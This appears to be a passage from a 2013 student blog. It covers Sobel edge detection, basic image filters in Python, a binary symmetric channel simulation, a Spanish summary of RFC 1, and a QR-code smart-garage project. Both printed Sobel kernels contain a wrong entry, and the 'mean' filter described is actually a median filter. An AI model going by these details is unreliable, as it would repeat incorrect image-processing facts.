 La convolución en las imágenes se lleva a cabo superponiendo la matriz kernel sobre la imagen, poniendo el centro del kernel en el centro de un pixel, y después multiplicando esta matriz sobre los valores donde se superponen con la imagen y sumándolos. El valor obtenido se coloca en el pixel  en el que estamos trabajando y esto se repite por cada pixel de la imagen.

[imagen obtenida de: "https://developer.apple.com/library/mac/documentation/Performance/Conceptual/vImage/Art/kernel_convolution.jpg"]

Las mascaras que elegí para la detección fueron las mascaras de Sobel:

La mascara de Sobel para el eje-x
$
\begin{bmatrix}
-1 & 0 & 1\\
-2 & 0 & 2\\
-1 & 0 & 2
\end{bmatrix}
$
La mascara de Sobel para el eje-y
$
\begin{bmatrix}
1 & 2 & 1\\
0 & 0 & 0\\
-1 & -2 & 1
\end{bmatrix}
$

Gradiente
Una vez teniendo dos imágenes con el gradiente tanto en el eje-x como el eje-y
simplemente obtuvé el gradiente combinado de la magnitud de ambos utilizando el teorema Pitagoras $c = \sqrt{x^{2}+y^{2}}$ y eso me generó la siguiente imagen:



miércoles, 6 de febrero de 2013

Laboratorio 1: Escala de grises, umbrales y filtro de media

Para esta semana en la clase de visión computacional hemos estado viendo algunos filtros básicos para aplicar a imágenes y hacer más sencillo el tratar con éstas.
Para el reporte de esta entrega de laboratorio construí un código donde se toma una imagen en formato JPG y se le aplican los tres filtros mencionados. Para esto utilice Python como lenguaje de programación y para modificar las imágenes utilice la librería PIL.

Todos los efectos los aplique a la misma imagen, la cual es la siguiente:


Código:


https://github.com/MaxHernandez/Vision_computacional

Escala de grises
Para convertir la imagen RGB a escala de grises, necesite combinar los tres canales para dejarlos como un solo canal (intensidad), para lograr esto lo que hice fue recorrer cada pixel de la imagen y sacar un promedio de los colores RGB, dicho promedio lo tome como la intensidad de la imagen.

Resultado:


Umbral
Primero convertí a escala de grises utilizando la función anterior después utilizando un numero entre 0 y 255 como umbral, por cada pixel comparé la intensidad de dicho pixel con el umbral, y si era mayor que el umbral lo enviaba a el valor 255 y si era menor la enviaba a 0.

Resultado:


Filtro media
Este filtro realice poniendo en una lista los todos vecinos de un pixel, después ordenándolos de menor a mayor y tomando la media de dicho conjunto de números como la intensidad del pixel en el que estamos trabajando ahora mismo. 

[imagen obtenida de:"http://www.scimedia.com/fis/support/download/bva/ver0703/image/MedianAlgorithm.gif"]

Resultado:

Homework 1: Noissy channel simulation

This week on information theory class we discuss the channel transmission systems topic way to connect a transmitter to a receiver in some information transferring. The homework for this week is to build a binary symmetric channel simulation, them make data transmission by the channel and then make some analysis of the simulation output.

Binary symmetric channel simulation
The simulation works this way:
The program receives as parameters the 0 symbol frequency in a word, and a matrix describing the probability of a Symbol to become in another on the transmission, our symbols are just "0" and "1" because we are working with a binary alphabet.

First we simulate a message, for this propose this is done using the "generate_word" method that receives as input the word length and using Bernoulli trials with the 0 frequency obtained as parameter, simulate symbol by
symbol of the word.

Next thing to do is to send the message, this is done with the method "word_transmission" walking symbol by symbol in the word and applying a Bernoulli trial to each symbol, using the matrix of change in a transmission received as a parameter.


https://github.com/MaxHernandez/teoria_informacion

Simulation output analysis
For the analysis part i build a bash script that execute the last python script
and make graphs with the output value, on the graph the Y axis shows the percent of success sending and the X shows the length of the word sent.


https://github.com/MaxHernandez/teoria_informacion

With 90% of frequency occurrence of "0" symbols:
X axis shows the length of the word sent
Y axis shows the percent of success sending a message
With 50% of frequency occurrence of "0" symbols:
X axis shows the length of the word sent
Y axis shows the percent of success sending a message

With 70% of frequency occurrence of "0" symbols:
X axis shows the length of the word sent
Y axis shows the percent of success sending a message

Estimating the asymptotic probability
I could not estimate the accurate asymptotic probability of the output values, but i arrive to the conclusion using the last graphs that the output behaves as an exponential function with negative input $exp(-xC)$ and increasing the probabilityity of success of no change of symbols in transmissions must increase the function constant input $C$.

This is the last graph, but adding the $exp(-x)$ function, as we look the output behaves as and exponential function but i couldn't accurate the function.


References:
http://en.wikipedia.org/wiki/Binary_symmetric_channel
http://elisa.dyndns-web.com/~elisa/teaching/comp/info/channel.pdf

martes, 5 de febrero de 2013

Tarea1: RFC1

Para la clase de esta semana, la tarea fue buscar un RFC de la página de la Internet Engineering Task Force(IETF) y hacer un reporte de este.

¿Qué es un RFC?

Un RFC(Request for comments) es un memorando publicado por la IETF describiendo métodos, comportamientos, investigaciones o innovaciones aplicables a la sistemas de red.

A través de la Internet Society, los ingenieros y computologos pueden discutir en forma de RFC revisiones, nuevos conceptos, temas de humor o simplemente información.

RFC1

El RFC1 Habla de un resumen de lo que es IMP, requerimientos de programas Host-to-Host, programas Host y dos expermientos.

El software del ARPANET existe en parte en las IMP y parte en las computadoras HOST. BB&N especifico el software para las IMPs y se convirtio en responsabilidad de los HOST ponerse deacuerdo acerca de el software de los HOST.

En el RFC1 se muestran algunas acuerdos y questiones encontradas mientras Gerard Deloche de la UCLA estaba trabajando en la interface HOST-IMP. Muy poco de lo que esta en el RFC1 fue firmado así que se esperaba discusión.

I. Una resumen del software IMP
La información es transmitida HOST a HOST en paquetes llamados mensajes, Un mensaje es un Stream de no mas de 8080 bits, juntos con su cabecera. La cabecera contiene 16 bits y contiene la siguiente información:

  • Destino 5 bits
  • Link 8 bits
  • Rastreo 1 bit
  • Disponibilidad 2 bits

El destino es un código numero para el HOST al cual el mensaje sera enviado. El bit de rastreo señala al IMP grabar información de estado acerca del mensaje y mandarla hacia el Network Measurement Center. Los bits de disponibilidad no son utilizados.

Links (en español se traduce enlace)
El campo de link es un mecanismo especial usado por los IMPs para limitar ciertos tipos de congestión. Estos funcionan de la siguiente manera. Entre cada par de HOSTs existen 32 conexiones full-duplex lógicas por las cuales los mensajes pueden ser mandados en cualquier dirección. El IMP coloca la restricción de link, de que ningún HOST puede mandar dos mensajes sucesivos por el mismo link antes de que el IMP en el destino haya enviado de vuelta un mensaje especial llamado RFNM (Request for Next Message). Este arreglo limita la congestión que un HOST puede ocasionar a otro si el HOST que envía mensaje esta intento mandar demasiada información en un solo link. Nosotros observamos, aun así, que desde el IMP al destinatario no se tiene demasiada capacidad para manejar todos los 32 links simultáneamente, los links sirven para su propósito únicamente si la sobrecarga viene de uno o dos links.

Los links tienen las siguientes características primitivas. Estos estan siempre en funcionamiento y siempre hay 32 de ellos.

Con "siempre funcionando" nos referimos a que los IMPs siempre están preparados para transmitir otro mensaje por ellos. No existe la noción de inicio o fin de una conversación en el software del IMP. Esto es debido a que no es posible preguntar  a un IMP acerca de la historia reciente de un link -- un asunto muy diferente!).
 La otra característica primitiva de los links es que estos son siempre 32, sean usados o no. Esto significa que cada IMP debe contener 18 tablas, cada una con 32 entradas, sin tomar en cuenta el trafico actual.

A pesar de las objeciones hacia la estructura de un link, los links son fácilmente programados dentro de los IMPs y son probablemente mejor alternativa a arreglos complejos pues por su simplicidad.

Transmision de IMP y chequeo de error

Despues de recibir un mensaje de un HOST, un IMP particiona el mensaje en uno o mas paquetes. Los paquetes no son mas grandes de 1010bits de lingitud y son la unidad de transmision de datos de IMP a IMP. Un checksum ciclico es computado por el hardware transmisor y es apilado al paquete en curso. El Checksum es recomputado por el hardware receptor y es revisado otra vez el Checksum transmitido. Los paquetes son rensamblados en mensajes en el IMP destinatario.

Preguntas abiertas del Software de un IMP

1.- Un campo de 8bits es provisto por la especificación del link, pero solo links de 32 bits se proveen, por que?

2.- Se supone que es HOST debería ser capaz de mandar mensajes a su IMP, como hace eso?

3.- Puede un HOST, como opuesto a su IMP, controlar RFNMs?

II. Algunos requerimientos del software Host-to-Host
Uso simple
Como cualquier nueva facilidad, habría un periodo de poco uso hasta que la comunidad experimente con la red y empiece a depender de ella. Uno de nuestros objetivos es de estimular el inmediato y fácil uso de una gran clase de usuarios. Con este objetivo parece natural proveer la habilidad de usar cualquier HOST remoto si este ha sido marcado por un terminal TTY. además nos gustaría la habilidad de transmitir un archivo de forma diferente, quizas simulando un teletipo.

Uso a profundidad
Uno de los problemas inherentes en la red es el hecho de que todas las respuestas de un HOST remoto deben requerir de orden de medio segundo o algo parecido.

Error Checking

En este punto se pide que exista un cheque o de HOST a HOST y que les gustaría verificar el software de transmisión HOST-IMP.


III. El software del HOST
Establecimiento de conexión
Se ha decidido a reservar el link 0 a comunicaciones entre sistemas operativos HOST.Los demas 31 links son entonces usados para lineas dial-up.
Cuando una primitiva es invocada, el sistema operativo debería seleccionar un link libre y mandar un mensaje sobre este link. El sistema operativo en el HOST remoto debería estar en acuerdo en mandar un mensaje de aceptación en el link0. En el caso de que ambos HOST establezcan conexión y manden mensaje al mismo tiempo por el mismo link, entonces el HOST que tiene menor prioridad tendría que cambiar de link.

Transmisión de alto volumen
Teletipos actuando como terminales tienen dos inconvenientes cuando consideramos la transmisión de archivos grandes. El primero es que algunos caracteres son asignados para especiales para interrupción. El segundo es que técnicas para Buffers especiales necesitan ser empleados, y estos son apropiados solo para transmisiones de caracteres de baja velocidad.
Ahora por eso se define otra clase de conexión  para ser usado en transmisiones de grandes volúmenes de archivos. 


Referencias:
http://datatracker.ietf.org/doc/rfc1/?include_text=1

sábado, 2 de febrero de 2013

Entrega 2 laboratorio cómputo ubicuo: Tecnologías emergentes parecidas a nuestro proyecto

Buen día, esta publicación es usada como reporte para la segunda entrega del laboratorio de sistemas inteligentes o computo ubicuo. Para esta entrega me dí a la tarea de buscar algunas tecnologías emergentes que estuvieran relacionadas con el proyecto de mi equipo para la misma clase, esto con el fin de usarlos como punto de referencia para saber que tan inovador o debería ser nuestro proyecto.

Nuestro proyecto

[Imagen obtenida de:"http://upload.wikimedia.org/wikipedia/commons/1/11/Two-Car_Garage.jpg"]

El proyecto que mi equipo eligio es el de un garage inteligente que sea capaz de abrir el garage automaticamente cuando el usuario acerca su carro a este o abrirlo con su celular. Esto puede servir para hacer mas comodo mteter el carro a su garage para los usuarios.

Además si existe una camara de seguridad en la casa del usuario, que esta sea capaz de leer códigos QR impresos en una hoja o en una tableta o celular acercandolos a la camara. El sistema QR deberia deber un pagina web donde el usuario puede acceder y mandar por correro códigos QR a diferentes personas o servicios, con el fin de dar accesos temporales a esas personas a la casa.

Tecnologías emergentes

Códigos QR en invitaciones
http://www.paperspring.com/

Paperspring un servicio de cartas de invitación y tarjetas de felicitación, cuenta con un servicio de invitaciones electronicas que se lanzan escaneando códigos QR con un dispositivo móvil. funciona imprimiendo un código QR personalizado en la invitación despues con la cámara del móvil se escanea el código QR y este te lleva a una página web personalizada con la información sobre el evento que podría ser texto, video, fotos, etc.

[Imagen obtenida de:"http://www.paperspring.com/images/PL_About_graphic.jpg"]

Información obenida del blog:
http://techcrunch.com/2010/10/05/paperlinks-brings-qr-codes-to-event-invitations/

Esto me parece muy útil por el hecho de que el código QR no solo podría servir como un identificador si no tambien como una llave de acceso a un grupo de información pertinente el usuario identificado. Se me ocurre que un método como este podría servir en nuestro proyecto, para mostrar información sobre la casa a la persona a la que se le da acceso, enviarle instrucciones(si presta un servicio) o cualquier tipo de información enviandola a su celular o por correo. 

Auto de google autotripulado que se maneja usando códigos QR como referencia
http://www.extremetech.com/extreme/109887-google-patent-self-driving-car

Se trata de un articulo que encontré, donde hablan sobre una patente de google que se trata de un carro auto-tripulado que tiene la capacidad de utilizar códigos QR para estacionarse, parece ser que utiliza las cámaras que tiene para leer un código QR probablemente en el suelo y saber en donde estacionarse, seguramente encima del código QR.

[Imagen obtenida de:"http://upload.wikimedia.org/wikipedia/commons/e/ec/Jurvetson_Google_driverless_car_trimmed.jpg"]

Podría ser útil para obtener información sobre los espacios, o por ejemplo si es un estacionamiento privado saber cual espacio es el que te pertenece.
A mi me pareció interesante por lo rápido y fácil que es escanear un código QR y utilizar su información para una aplicación en tiempo real, que es lo que trataremos de hacer en nuestro proyecto para hacer lo mas cómodo posible, la idea es que con solo enseñar el código QR a la cámara esta sea capaz de identificar al usuario.


Mosaicos con códigos QR en Rio de Janeiro

Este me pareció muy divertido, es un articulo sobre un uso de los códigos QR donde en esta ocasión se grabaron en mosaicos en el suelo, eso con el fin de ofrecer información a los turistas. Se instalaron códigos QR en sitios históricos de la cuidad, para mostrar información pertinente. Los turistas escanean los códigos, con una aplicación especial y esta automáticamente los lleva hasta una página Web con información sobre el sitio.


[Imagen obtenida de:"http://i.telegraph.co.uk/multimedia/archive/02462/qr_2462926b.jpg"]

Me parece muy creativo que se utilicen mosaicos como códigos QR y me doy cuenta que unas de las ventajas principales de los códigos QR es su estética y que pueden ser leeidos con una cámara, esto los hace mucho mas cómodos que otras tecnologías de códigos de barras y son su fuerte.

Por ultimo esta es la lista de mis aportes sobre tecnologías emergentes, de los proyectos de mis compañeros:

Referencias:
http://net.educause.edu/ir/library/pdf/ELI7046.pdf
http://techcrunch.com/2010/10/05/paperlinks-brings-qr-codes-to-event-invitations/
http://www.extremetech.com/extreme/109887-google-patent-self-driving-car